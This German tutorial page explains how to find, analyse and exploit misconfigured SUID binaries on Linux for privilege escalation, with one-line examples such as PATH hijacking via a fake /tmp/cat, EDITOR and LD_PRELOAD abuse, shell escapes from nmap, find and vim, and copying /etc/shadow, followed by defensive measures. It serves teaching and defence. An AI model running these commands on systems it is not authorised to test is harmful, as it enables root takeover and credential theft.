SUID-Binaries Exploitation
SUID-Binaries zur Privilege Escalation
Diese Seite beschreibt, wie SUID-Binaries zur Privilege Escalation in Unix/Linux-Systemen verwendet werden können. Es wird erläutert, wie man sie identifiziert, analysiert und mögliche Exploits entwickelt. Ziel ist ein grundlegendes Verständnis der Sicherheitsimplikationen und der praktischen Ausnutzung.
Hinweis: Dieser Artikel konzentriert sich auf generische Methoden und ist nicht an ein spezifisches CTF oder System gebunden.
Grundlagen
Was sind SUID-Binaries?
Ein SUID-Binary (Set-User-ID) ist eine ausführbare Datei mit einem speziellen Berechtigungsbit. Wenn dieses Bit gesetzt ist, wird das Programm mit den Rechten des Datei-Eigentümers (häufig root
) ausgeführt, unabhängig davon, welcher Benutzer es startet.
ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 54256 Jan 1 00:00 /usr/bin/passwd # Das "s" im Besitzerbereich zeigt SUID an
Warum sind SUID-Binaries sicherheitsrelevant?
Ein falsch konfiguriertes oder unsicher programmiertes SUID-Binary kann es einem lokalen Angreifer ermöglichen, höhere Rechte zu erlangen – typischerweise root
. Typische Schwachstellen sind:
Aufrufe von Shell-Kommandos ohne absolute Pfade
Nutzung von Umgebungsvariablen (z. B.
EDITOR
,PAGER
)Unsichere Funktionsaufrufe wie
system()
oderpopen()
Voraussetzungen für eine Ausnutzung
Lokaler Zugriff mit eingeschränkten Benutzerrechten
Ausführbare SUID-Binary (z. B. über Gruppenrechte)
Angriffsfläche wie nicht-absolute Pfadangaben oder kontrollierbare Umgebungsvariablen
Schreibrechte auf ein Verzeichnis wie
/tmp
Auffinden von SUID-Binaries
Alle SUID-Binaries mit Root als Besitzer finden:
find / -perm -4000 -user root -type f 2>/dev/null
# Zeigt alle SUID-Binaries, die root gehören
/usr/bin/passwd
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Nach gruppenspezifischen Binaries suchen:
id
# Liefert aktuelle Gruppeninformationen
uid=1000(user) gid=1000(user) Gruppen=1000(user),27(sudo)
find / -group <deineGruppe> -perm -4000 -type f 2>/dev/null
Rechte und Dateityp prüfen:
ls -la /pfad/zur/binary
-rwsr-xr-x 1 root root 54256 Jan 1 00:00 /usr/bin/passwd
file /pfad/zur/binary
/usr/bin/passwd: setuid ELF 64-bit LSB executable, x86-64, dynamically linked...
Analyse von SUID-Binaries
Eine gründliche Analyse hilft dabei zu verstehen, ob und wie eine SUID-Binary ausnutzbar ist. Dabei geht es um folgende Aspekte:
1. Verhalten beim Start
Führe die Binary direkt aus:
./binaryname
Beobachte die Eingaben, Ausgaben und mögliche Fehlermeldungen. Diese geben Hinweise auf:
erwartete Benutzerinteraktion
genutzte interne Tools
potentielle Dateizugriffe
2. Strings und Abhängigkeiten
strings ./binaryname | less
Suche nach:
eingebetteten Pfaden (z. B.
/bin/sh
,cat
,cp
)verdächtigen Funktionen (
system
,exec
,popen
)
ldd ./binaryname
Zeigt dynamisch gelinkte Bibliotheken – wichtig für LD_PRELOAD-Angriffe.
3. Laufzeitanalyse
strace ./binaryname
Verfolgt alle Systemaufrufe (Dateizugriffe, Prozesse). Suchmuster:
open("/etc/passwd", ...)
execve("cat", ...)
ltrace ./binaryname
Zeigt aufgerufene Bibliotheksfunktionen. Besonders nützlich zur Identifikation von system()
oder getenv()
-Aufrufen.
4. Statische Analyse
Nutze Disassembler wie Ghidra, IDA oder Radare2, um tiefer in den Code zu schauen. Achte besonders auf:
Benutzerinput ohne Validierung
Zugriff auf Umgebungsvariablen
systemnahe Funktionen mit externem Einfluss
Tipp: Auch einfache
grep
-Suchen im Sourcecode oder Binärdump helfen, Schwachstellen schnell zu identifizieren:
grep system binarydump
Typische Exploitation-Techniken
PATH-Manipulation
Wenn die Binary interne Kommandos ohne absoluten Pfad nutzt z.B. cat, kann dies als datei erstellt werden mit der, falls diese ausgeführt wiedr, weiderum eine root shell öffnet. Dafür muss der Pfad in der die neue Datei ist zu den PATH hinzugefügt werden, damit dieses "cat" zuerst ausgeführt wird.
echo "/bin/sh" > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
which cat # Prüfen, ob /tmp/cat zuerst gefunden wird
./suid-binary # Falls intern "cat" genutzt wird: Root-Shell
Umgebungsvariablen (z. B. EDITOR, PAGER)
EDITOR=/bin/sh suedit
# Wenn das Programm EDITOR verwendet, wird /bin/sh geöffnet
LD_PRELOAD
gcc -shared -o shell.so -fPIC shell.c
LD_PRELOAD=./shell.so ./suid-binary
# Funktioniert nur, wenn Umgebungsvariablen nicht bereinigt werden
Interpreter und interaktive Modi
Programme mit interaktivem Modus:
nmap --interactive
> !sh # Öffnet eine Shell
Auch möglich mit: python
, perl
, lua
Dateizugriff
Wenn das SUID-Programm Dateien mit Root-Rechten liest oder schreibt:
cp /etc/shadow /tmp/shadow_copy
# Ermöglicht Zugriff auf sensible Daten
Beispiele aus der Praxis
bugtracker – verwendet PATH-Manipulation
find – mit
-exec /bin/sh \;
vim, less, nano – interaktive Shell mit
:!sh
oder!sh
Wann ist eine SUID-Binary nicht ausnutzbar?
Absolute Pfadangaben für alle internen Kommandos
Bereinigung sicherheitsrelevanter Umgebungsvariablen
Kein Benutzereingriff (rein automatisierte Prozesse)
Keine riskanten Funktionsaufrufe (z. B. kein
system()
)
Verteidigungsmaßnahmen
Keine unnötigen SUID-Binaries bereitstellen
SUID-Binaries mit
secure_path
insudoers
absichernVerwendung sicherer Funktionen und absolute Pfade im Code
Regelmäßige Audits und Einsatz von Tools wie
Lynis
,Chkrootkit
Weiterführende Ressourcen
GTFOBins – Liste ausnutzbarer Binaries
man 2 setuid
– Systemaufruf-DokumentationLinux-Dateirechte und Berechtigungskonzepte (z. B.
chmod
,chown
)
Last updated